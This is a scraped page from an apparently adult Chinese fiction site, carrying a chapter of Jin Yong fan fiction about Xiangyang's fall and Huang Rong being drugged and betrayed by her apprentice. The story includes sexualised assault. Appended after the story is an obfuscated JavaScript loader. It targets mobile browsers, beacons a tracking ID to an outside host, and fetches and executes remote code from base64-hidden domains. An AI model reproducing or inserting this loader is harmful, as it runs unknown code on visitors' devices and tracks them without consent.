★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

倚天前事(完結版)(簡體)


第一章襄阳城破



  蝶恋花



  谁记华山少年游。



  北望终南,可怜成情囚。



  黑龙潭边佳人笑,滴残一杯相思酒。



  倚天未出中原忧。



  少室山下,缘起老比丘。



  从来武林多少事,几番血泪几番愁。



  春天的襄阳城,正是繁花似锦的时节。在外游历多年的郭二小姐,也在一个

月前赶回了她在襄阳的家。这本是一件值得高兴的喜事,可是这天的郭家大宅里,

却隐隐出来一阵阵的哭泣声。



  武敦儒臂缠白纱,血染兵甲,一动不动跪在大厅之中。对面座上的郭靖早已

经面色铁青,虎目含泪,下颚上几缕短须也忍不住微微颤抖。若不是边上妻子始

终握着他手掌,郭靖就算定力再好,也不禁要在满屋的襄阳将士前失态了。



  几个郭家女眷早已在后厅里哭做一团,郭芙伏在妹妹怀里大哭不止,完颜萍

也和耶律燕相拥在一起,悲泣不绝。一个六岁大的小男孩从内厅里跑出来,一下

子扑在完颜萍的腿上,哭道:「妈妈,妈妈,爹爹干嘛不和大伯一起回来……爹

爹到哪里去了?」



  完颜萍红着双眼将男孩抱在怀里,悲声道:「华儿,你爹爹为国尽忠……」

说了这一句话,就已哽咽不能言语,紧紧抱住了儿子,痛哭出声。



  前面大厅中黄蓉已经站起身来,开口道:「敦儒,大家都在这里了,你再将

前日之事,仔细再说一遍。」她说的大家自然是指刚刚赶到郭宅的襄阳城防众将,

还有襄阳安抚使吕文德吕大人了。



  武敦儒勉强直起身子,双眼茫然无神,脸色也是苍白得吓人,显然失血过多,

受伤颇重。



  「上月蒙古人从川东起兵,师父派我兄弟二人和耶律师兄随着高参将到郢州

调粮,以备坚守,此事吕大人也是知晓的。这次蒙古人兵势太大,我们自然一路

小心,本来还算顺利……可前日行到灌子滩附近,本待在在河中稍做休息,天明

再放船回来。谁知半夜里突然从西面涌来无数蒙古兵,我们竭力抵抗,但是敌人

人数太多,耶律师兄、高参将和我弟弟都……都力战而竭……我本来也待一死…

…但怕城中不知消息,只能忍辱偷生……请大人和师父责罚!」



  黄蓉叹道:「你们明知道蒙古人自西而来,为何还在西岸停船下锚,这般大

意?襄阳已是我大宋最后屏障,失了粮草,又折损两千人马……唉……如今城中

余粮只购旬月之用……」



  郭靖黯然挥手,道:「蓉儿,算了,粮草之事,已成定局。敦儒起来吧,这

次是我郭靖失算,一切由为师一力承担,不怪你们兄弟。不想蒙古人这般快就绕

到了我们背后,今次存亡一战,我们已经没有退路了!」说着话挺身而起,拔刀

在手,反手已将身边案几削下一角,双手托刀,转向吕文德道:「今日郭某有负

襄阳百姓托付,本待一死谢罪!但如今大敌当前,还请吕大人许我身死阵前,以

报国家!」



  旁边的吕文德一直望着黄蓉郭靖夫妇,看他二人说话,他二人虽是客卿,但

历来战事,都全靠郭、黄二人主持。今日听见失了粮草,蒙古人也绕到了襄阳背

后,袍服下两条腿突然间开始抖个不停。想要说话,终又忍住了不语。半响方道

:「郭大侠不……不必损伤身体,城中军士还仗郭大侠共领抗敌。」



  襄阳众将也拱手齐声道:「愿与郭大侠同生共死,誓守襄阳,不堕我大宋男

儿志气!」



  黄蓉出声赞道:「好一个不堕我大宋男儿志气,我夫妇誓与大家同生共死,

坚守襄阳!」说完回身落座,重新安排众将布置城防。蒙古人绕道襄阳城南,城

防又需重整。她是襄阳女军师,全城敬服,众将无不一一领命,出厅而去。



  待到安排妥当,黄蓉已觉浑身无力,今日失去两个至亲之人,虽然早知助守

襄阳,命中便是如此结局,但还是忍不住伤心落泪。刚才勉力支撑,耳中却清清

楚楚听见女儿们在后厅哭泣,方待起身去安慰女儿、徒媳,却听吕文德开口道:

「郭大侠,郭夫人,你们看今次……今次真的?真的还守得住襄阳?」他这话忍

了很久,待到众将离开,再也忍耐不住。



  如今四川已陷,蒙古人锋锐正急,襄阳也马上要被四面合围,此次形势,可

说比之以往任何时候,都要凶险万分。



  郭靖不悦道:「守得住也守,守不住也要守!」



  黄蓉一拖丈夫衣角,问道:「吕大人这话,不知是何用意?」



  吕文德颤声道:「不如,不如我们退,退……」一连说了两个退字。想到蒙

古人破城之后,往往屠城泄愤,嘴角忍不住抽搐起来。他是朝廷命官,临阵脱逃,

其罪状不言自明。如今说出这等话来,可见已经怕到了何等程度。



  郭靖大怒道:「吕大人,你说的是什么话?!我大宋全靠襄阳屏蔽江南,你

如今还可退到哪里去?襄阳城高河深,易守难攻。我们一退,蒙古人再无阻挡,

你是要我等亡国吗?!」



  吕文德嗫嚅道:「便是……便是做个平头……布衣,也,也好过……」



  郭靖啪一声将案几拍得粉碎,大声道:「今日便杀你这狗官!若非你这等昏

庸君臣,我汉人百姓,何来受苦若此!」



  吕文德一惊,尖声道:「郭靖你……你要造反么?」



  黄蓉心中一动,一拉郭靖的衣角。郭靖回过头来,见妻子温柔目光中,似含

深意,终于忍住不动。黄蓉向吕文德道:「吕大人,如今襄阳难守,我夫妻强人

所难,硬要吕大人在此陪死,的确说不过去。但吕大人是襄阳之首,百姓、军士

都靠大人庇护,如果大人脱身而走,恐怕影响襄阳士气。」



  吕文德道:「这襄阳早就是你夫妇二人说了算,我……我还在这里做什么!

我自己偷偷出城就是了!」他说到此处,怒气上涌,胆子似乎也大了些。



  黄蓉道:「既然大人心意已绝,我夫妇二人也不强留。只是如今兵祸四起,

道路不宁。大人孤身上路,恐有不便,不如让敦儒送你一程……想来蒙古人合围

襄阳还要三、四日时间。你若向东而行,应该还能脱险。」



  「蓉儿!」郭靖见这狗官想要临阵脱逃,早已经气愤难耐,不知妻子为何还

要大武送他一程。



  黄蓉向郭靖微微一笑,郭靖见她嘴角似甜似苦,娇媚无限,心中柔情顿生,

仿佛又回到了当年新婚之时。耳听黄蓉又对武敦儒到:「敦儒,今晚你就陪吕大

人动身。你妻子和萍儿母子,还有芙儿、襄儿、破孥,你都一并带走。以后,你

要好好照看他们……」武敦儒眼中微露惊讶之色,但也点头应了。



  郭靖这才恍然大悟。他夫妇虽已决心与襄阳共亡,但又何必要这些小儿女也

一起陪葬。他们如此年轻,人生尚长,就让他们先去了吧。只是襄阳一城百姓尚

在,自己儿女却先走脱,这如何说得过去?难怪蓉儿要借护送吕文德这名义了。



  他这时心中委顿不下,实在不知该要如何抉择。为人父母的天性和自己的使

命,到底应该如何抉择?



  吕文德却已站起身来,大喜道:「就依郭夫人意思,我这就回家收拾家眷,

今夜子时,我们便可出城!」说这意思,是真准备赤裸裸偷逃了。言罢不及道别,

转身就向大门外行去,走的急了,门坎上一绊,差点摔倒。



  这时一男一女两个少年从后厅转出,齐声道:「爹、娘!我们不要走!」这

男的面色黝黑,粗眉大眼,正是郭破虏。女的相貌俊美,韶华如花,就是二小姐

郭襄了。两人早在后厅听见母亲言语,只等吕文德离开,这才出来。



  郭破虏对郭襄道:「姐姐,你和武大哥去吧,我留在这里陪爹娘!」



  郭襄也道:「弟弟你跟武师哥去,我在外面许久没回家,应该我陪爹娘。」

两姐弟互不相让,都要对方得生,自己情愿与爹娘共死守城。



  黄蓉微微一笑,揽过郭襄肩头,柔声道:「痴儿,这有什么好争……」说着

话,解下腰间长剑,挂在郭襄身侧,低声道:「襄儿,你若记得爹娘,某忘了我



  们今日这一片苦心。」



  郭襄低头一看,见腰间长剑上,刻着两个篆字「倚天」。她心中一阵迷茫,

「难道这就是娘用玄铁剑重铸的倚天?」转头见爹爹也正将一把长刀挂在弟弟腰

间。



  看来必是那「屠龙刀」了。这两件兵器,她回家以后,都是只闻其名,今日

才第一次见到。如今剑在腰间,只觉份量有些沉重,看来爹娘是要将这两件兵器,

传给自己和弟弟了。



  「娘,这柄剑你要留着防身的!」



  「傻孩子,娘不是还有打狗的竹棍么?你娘我武艺高强,倒要看看谁敢近我

身边。」郭襄一抬头,见娘亲嘴角含笑,自己却忍不住流下泪来。



  黄蓉拉住郭襄小手,柔声道:「襄儿乖,莫哭,娘给你讲个故事。」悄声讲

倚天剑、屠龙刀的秘密在郭襄耳边说了。又道:「你和弟弟好好留着这一刀一剑,

将来联络天下武林,领导群雄,光复汉家天下,都在这刀剑之中。」



  黄蓉是绝顶聪明之人,如今蒙古之势已经不可阻挡,此时将刀剑留给儿女,

自是心中又甜又苦。将来儿女长大成人,叱咤武林,领袖群伦的模样似乎就在眼

前,可惜自己是看不到了。



  另一边郭破虏大声道:「姐姐,爹说我可以留在城里。等打退了蒙古兵,我

再来接你回家,好不好?」



  黄蓉一惊,转头见丈夫和儿子把臂而立,两人已是一般高矮。瞧瞧丈夫神色,

知他主意已定,不免有些心酸。但想他父子二人能够同心协力,抗敌卫国,心中

又自欢喜。复对郭襄道:「襄儿,你听娘的话,好不好?」



  郭襄含泪点头:「娘,襄儿知道了,我听娘的话。」心中却暗暗打定了主意,

「等把姐姐和师哥、师嫂送到安全地方,我自回来和爹娘一起!」



  ***    ***    ***    ***



  一个月后的襄阳城……



  东方的第一抹光明透出了乌云,大宋军民坚守六年的襄阳城,血流成河,硝

烟四处,再没有多少生命的迹象,便如死一般沉寂。沉闷的马蹄声随风打着旋,

卷过一道道街市,夹杂着蒙古人忘形的欢呼。襄阳,正承受着不曾经历过的无声

的羞辱!



  两匹蒙古铁骑踢踢嗒嗒钻入一条窄巷之中,马上的士兵用刀尖挑着人头,一

边肆无忌惮放声狂笑,一边用得意的目光四处搜寻。其中的一个突然向前一指,

欢呼起来,原来一处断垣后,一个淡黄衣衫的女子在硝烟中现出了身形。两人兴

奋地一夹马肚,就向这唾手可得的战利品直冲过去。



  那女子却似乎未有察觉,只在散落四处的宋军尸骸里仔细寻找着什么。两个

骑兵已经冲到三丈以内,看这女子发髻散乱,但是衣着华贵,身形姣好,不由心

中狂喜。一人哈哈笑道:「美人儿,看你往哪跑!」



  放脱缰绳,策马疾驰,侧过身子双手就向那女子抱去。忽然那女子一回手,

一根竹棍啪一声击在他脸上,这人闪避不及,从马背上重重跌了出去。他身后那

骑兵吃了一惊,堪堪勒住战马,手中长刀唰一声就向敌人头上砍去。



  那女子向后一退,避开长刀,但是脚步蹒跚,似乎已经体力不支。后面那骑

兵见敌人避了一招,气得哇哇大叫,方要提马上前,却听那女子大声道:「我儿

子在哪里?」她说的竟是蒙古话,虽然不很流畅,也让这骑兵吃了一惊。



  前面那跌倒的蒙古兵爬了起来,虎吼一声便向这女子扑过来,这女子一抬脚

又将他踢翻在地,踏住他胸口问道:「郭靖在哪里?」



  那蒙古人一抬头,只看这女子美貌非常,虽被烟尘和鲜血涂染了面颊,但是

眉目如画,雪白的肌肤依旧隐约可见。这蒙古兵大声道:「郭靖死了,昨天在城

门那里,哈哈哈哈……你是郭靖的老婆?快投降吧,你这贱女人!」



  这女子正是黄蓉,自从昨日午间和丈夫、儿子在乱军中被冲散,已经在城中

寻找了整整一夜。她边走边杀,早已体力不支,这时碰见两个蒙古兵落单,便想

擒住了问个消息。她知丈夫在蒙古人中威名不小,就算乱军中被围,多半也是被

人擒拿,不一定会伤及性命。她未成婚时便随郭靖和蒙古大军远征西亚,蒙古话

自是懂得一些。这时突闻噩耗,不及分辨真假,只觉得眼前一黑,几乎就要昏倒。



  忽然后面有人抱住了她腰身,却是另一个蒙古兵已经下马悄悄绕到了身后。



  那人嗨一声喊,便要将黄蓉拌倒。黄蓉一惊,回手一把抓住他腰带,身子微

斜,一抬手便将敌人抛过头顶。刚刚一招得手,却又被人扳住了脚踝,跟着身子

腾空,被人重重摔在地上。却是那被踢倒的蒙古兵乘她出手对付同伴,偷袭得手。



  那蒙古兵一翻身紧紧压在黄蓉身上,欢喜道:「哈哈,抓住了,我抓了郭靖

老婆,哈哈哈哈……」他见黄蓉双眼紧闭,一动不动,已经体力透支昏了过去。



  忙取出绳索,先将黄蓉双手绑上。一眼看见这美人儿躺在地上的玲珑身段,

忍不住伸手在她柔软浑圆的胸部捏了一把,虽然隔着一件薄布春衫,但摸到手中

又弹又嫩,真是人间极品。嘴里不由赞道:「好漂亮的婆娘!」



  忽然听见同伴大喊道:「扎古尔,小心!」不及回头,已经被人抓住了后领

牛皮,先是脑袋砰一声在砖墙上撞了个七晕八荤,跟着颈骨一麻,被人拧断了脖



  子。



  旁边的蒙古兵见同伴被一个青衣蒙面人,转瞬间取了性命,不由吓得屁滚尿

流,哇哇大叫,连滚带爬就向巷口逃去。那青衣人也不追赶,脚尖挑起地上钢刀,

侧腿一弹,钢刀便如长了眼般,直插入蒙古兵背后。



  收拾了两个蒙古兵,青衣人这才俯身看看黄蓉,见她似乎并无大伤,只是体

力透支昏了过去,便将她横身抱在怀里,纵身跃上房顶。分辨一下方向,直向襄

阳城东北而去。



  第二章家亡身何在



  黄蓉也不知昏过去多少时候,忽然隐约间觉得有人正在自己的脸上摩擦。心

中一惊,努力睁开眼睛,却见身旁有个男人正拿着块白布给自己擦脸。



  「大武,怎么是你!」眼前这人竟是自己的大徒弟武敦儒。自己明明叫他护

送芙儿她们离开,他怎么会在这里?



  「师娘,你醒了!」武敦儒满脸欢喜颜色,放下手中白布,就来扶黄蓉起身。



  黄蓉一愣,虽是自己的徒弟服侍,但这么多年来,除了自己丈夫,从没让别

的男人给自己擦脸扶身,不由面上微微一红。转头一看,只见自己正躺在一间茅

屋之中。身下一张草席,床边几把破旧桌椅。半扇破窗外,日光微斜,已是下午

时分。



  不知武敦儒怎样将自己救到这里。瞥眼看见床边放着的碧黄竹棍,脑海中忽

又泛起了血红烟尘中的襄阳城,眼眶一红,颤声问道:「这是哪里?你可看见你

师父、师弟……芙儿她们呢……」



  武敦儒道:「师娘放心,师妹她们都很好……可师父和师弟……」说到这里,

突一掌击在身边的矮桌上,悲声道:「我要给师父他们报仇!师娘,等我先将你

送到安全地方,就去刺杀那蒙古的统兵大将!」



  黄蓉一呆,武敦儒的话,意思再也明显不过,难道靖哥哥和破虏已经……想

到这里,心如寸断,思绪已经一片茫然。她呆立半响,这才轻声问道:「敦儒,

你师父真的,真的已经……还有破虏……」



  武敦儒只道:「昨日城门外……」便就默不做声。



  两人沉默良久,黄蓉这才叹道:「你师父终于了结他的心愿,我也要随他去

了……敦儒,你不要意气用事,你还要照顾你妻子、弟妹,还有华儿他们。襄阳

已经没有了,以后你们找个平安的地方,不要再像你师父师娘一样。」



  武敦儒道:「师娘,你是担心我么?」他站起身来,叹了口气。「师娘定是

记得我以前刺杀忽必烈的事。是徒儿没把师父和你教的武功练好,我真是个笨蛋。」



  黄蓉道:「武功是高是低,又有什么关系?以前你年轻容易惹事,也并不怪

你。再说就是你师父,他武功再好,难道又能改变什么东西?」想到丈夫功败生

死,不禁流下泪来。历史总是如长河流淌,便是真正的英雄豪杰,又有几人能抗

拒这无形的力量?



  武敦儒沉默片刻,定了定神,脸上突然做出一副忍耐不住的模样,开口说道

:「师娘,以前我从没求过你什么事。但是,这几日我想起我弟弟和耶律师兄,

还有师父和师弟。我虽然武功永远比不上师父,但想只要能苦练勤学,必定也能

凭本事做一番为国为民的大事!要是忍辱偷生,旁人看来,我还算是郭大侠的徒

弟吗?」



  「你是想学九阴真经?」黄蓉微微一惊。她心智之聪慧,世人少有。武敦儒

虽然平日沉默寡言,不苟言笑,是极其沉稳持重之人。但今日看他语气激荡,必

是心中聚集了极强的情绪。



  黄蓉和丈夫对两个徒弟本是一般无二,但始终也没将九阴真经相传。一则二

人天资有限,二则武氏兄弟家学渊缘极厚。就算他们将大理段家的功夫学全,在

武林中也可成为一流高手,如果贪多求全,反倒容易坏事。今日听武敦儒一番旁

敲侧击,不免让黄蓉有些疑惑:难道敦儒这孩子,报仇之心竟这般迫切?!



  武敦儒见黄蓉不答,终于叹口气道:「其实师父、师娘不传徒儿九阴真经,

我也知你们的良苦用心。徒儿功力不够,如果妄习这无上武学,恐怕反为其害。

但如今天下纷乱,师父故世,再这般任蒙古人欺凌,我实是有些不能忍受。」



  武敦儒站在窗前,背向黄蓉。不愿被黄蓉看见自己渴求的目光,他说的这番

话,虽是出自他口,但心中却始终以为这是郭靖夫妻推诿自己的借口。



  黄蓉叹道:「敦儒,其实你的一阳指要是好生修习,也是武林中的一门无上

武学。你看你爹爹和师祖,谁又真敢小看了他们。」她说完这话,心中又觉得微

微有些不妥。但这几日城破家亡,哪还有心思考虑这个徒弟的心情。



  武敦儒却已转过身来,从桌上端起一碗小米粥,坐到黄蓉身边,右手揽住黄

蓉腰身,让她靠在自己胸前,轻声道:「师娘说的是,敦儒刚才有些糊涂了。这

碗粥放得不烫了,你先喝一点。」说着话把粥碗举到黄蓉嘴边,便要喂她。



  黄蓉面上一红,终于微微侧过头道:「不要喝了,敦儒你走吧……我想随你

师父去了……」她几番听闻郭靖死讯,早已心如槁木,只想追随丈夫于黄泉之下,

哪还有心思喝粥。



  武敦儒道:「师娘,你和师父的感情徒儿难道不知?但你真不想想芙妹和小

师妹她们?她们要知道你这般对待自己,只怕真要伤心死了。」



  黄蓉心中一凛,是啊,自己还有两个女儿在这世上!她迟疑片刻,终于还是

在那粥碗上喝了一口。武敦儒微笑道:「这就好了,师娘你再喝几口,等你恢复

体力,我们就去找师妹她们。」听他口气温柔,似乎正劝着小孩儿一般。黄蓉又

在对着瓷碗喝了好几口。温热的米粥下肚,身上似乎也有了些暖气。却不见身后

武敦儒的嘴角早已微微上翘,脸上露出一个奇怪的笑容。



  待得喝了半碗小米粥,黄蓉摇了摇头,低声道:「这就好了,我现在气力不

济,还要静养一阵。」



  正说话间,突听草房外的板门砰砰两响,两条大汉踢破了木门走近屋来。这

两人都做黑衣蒙面打扮,看见黄蓉和武敦儒靠在一起,哈哈大笑道:「郭夫人果

然是在这里……咦,抱着你的,是你的新相好么?想不到你丈夫才死两日,你就

跟别的男人搂搂抱抱,果然淫荡,哈哈哈哈。」



  黄蓉面目姣好,加上一贯保养得当,如今看来,不过三十许人,这两人污言

秽语,竟然认得黄蓉,难道是蒙古人派来的探子?



  另一边武敦儒已经一纵而起,大骂道:「哪来的狗贼,做死!」说着话,迎

面一拳便向左边那蒙面人击去。



  武敦儒二十余年苦练,武功也算是一流高手,这一拳打到,却被那蒙面人一

抬手握住了拳头。那人骂一句:「去你妈的!」一脚踢在武敦儒小腹。哗啦声响,

旁边木椅已被武敦儒压得粉碎。那蒙面人跟上前再补一脚,将武敦儒踢进墙角。



  嘴里骂道:「狗东西也不称称斤两,和你爷爷动手动脚。」



  黄蓉见武敦儒一招,便被这蒙面人击倒,不由有些惊讶,看看这徒弟竟已昏

了过去。反手抓起床边竹棒,沉声道:「你们是什么人!」她这时虽然体力未复,

但身经风浪无数,也不怎么惊慌。



  那两人并不答话,呵呵淫笑两声,一左一右便向黄蓉包抄过来。其中一人笑

着道:「这妞儿好生美貌,等会抓住了,老子可要乐一乐。」



  黄蓉心中气极,手腕一翻,使一招「棒打双犬」,竹棍分向两人扫去。竹棍

一出手,突然间觉得全身内力一丝提不上来!急忙使一个「绊」字诀,却是四两

拨千斤的手法,啪啪两响分击在两人环跳穴上。黄蓉虽是一招得手,但那两人只

是一个踉跄,立刻站直了身体。



  右边那大汉笑道:「好泼辣的妞儿,叫你知道爷爷的厉害!」说着话,双臂

一张,就向黄蓉抱去。他这下胸口门户大开,竟然毫不防备,显然没把黄蓉放在

眼里。



  黄蓉此刻浑身无力,只得将竹棍一举,径点他胸口穴位。那大汉向左一让,

想要避开竹棍。但那打狗棒法何等精妙,棍化千影,啪一下还是点中了他前胸。



  只是黄蓉一身内力消失无踪,竹棍慢了半拍,不曾点中穴道。



  那大汉暴怒起来,大骂道:「臭娘们,不识抬举。」一抬手便向黄蓉胸口抓

来。黄蓉虽乱不惊,看准这人前冲之势,棍尖微晃,对准了他胸口檀中大穴。那

大汉武功平平,哪里识得厉害,这一抓眼看就要碰到黄蓉酥胸,突然自己反倒胸

口一麻,半边身子倒在草床上,压住了黄蓉双腿。



  右边那大汉视线被挡,看自己兄弟突然倒在床上一动不动,不免吓了一跳,

不知黄蓉使了什么邪法,急忙后退几步,嘴里喊道:「老大,老大。」喊了两声

不见答应,伸手抽出腰间钢刀,唰唰两刀便向黄蓉砍去。



  黄蓉双腿被压,又无力移动,只好用竹棍勉力招架。使的都是勾、抹、点、

刺的手法,不和对方钢刀正面相碰。她此刻心念急转,不知今日为何竟提不起丝

毫劲力。难道自己虚弱到了这般地步?



  两人拆了数招,那大汉看出黄蓉招式无力,不敢跟他硬碰。心中一动,将一

柄钢刀舞作一团雪花,一步步向黄蓉紧逼过来。黄蓉心中暗暗焦急,左手一晃,

娇叱一声:「看打!」那大汉一惊,急忙向左急跃,以为对手要放暗器。黄蓉早

看出他武功路数,竹棍微晃,守住了那大汉退路,故技重演,棍尖直指对手眉心。



  那大汉倒比他兄弟机灵几分。眼见身子向竹棍直撞过去,慌乱中奋力将钢刀

一举。黄蓉暗道一声糟糕,竹棍已被那大汉钢刀砸中,她手上无力,再也把握不

住,打狗棍啪一声弹在窗格上飞了开去。



  那大汉见对手失了兵器,心中大喜,钢刀一抛,便要出手去拿黄蓉。突然一

人紧紧握住了他手腕。转头一看,却是武敦儒已经站在身后。那大汉骂道:「姓

武的,你出的好主意,还我兄弟命来!」



  武敦儒冷笑一声,提起床上死尸,抬手就从窗口扔了出去。看他举重若轻,

随手便将百多斤的大汉扔出一丈来远,哪里是刚才那副脓包模样。见这情形,黄

蓉突然明白过来,原来武敦儒欲得九阴真经,竟然勾结外人暗算自己!

function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭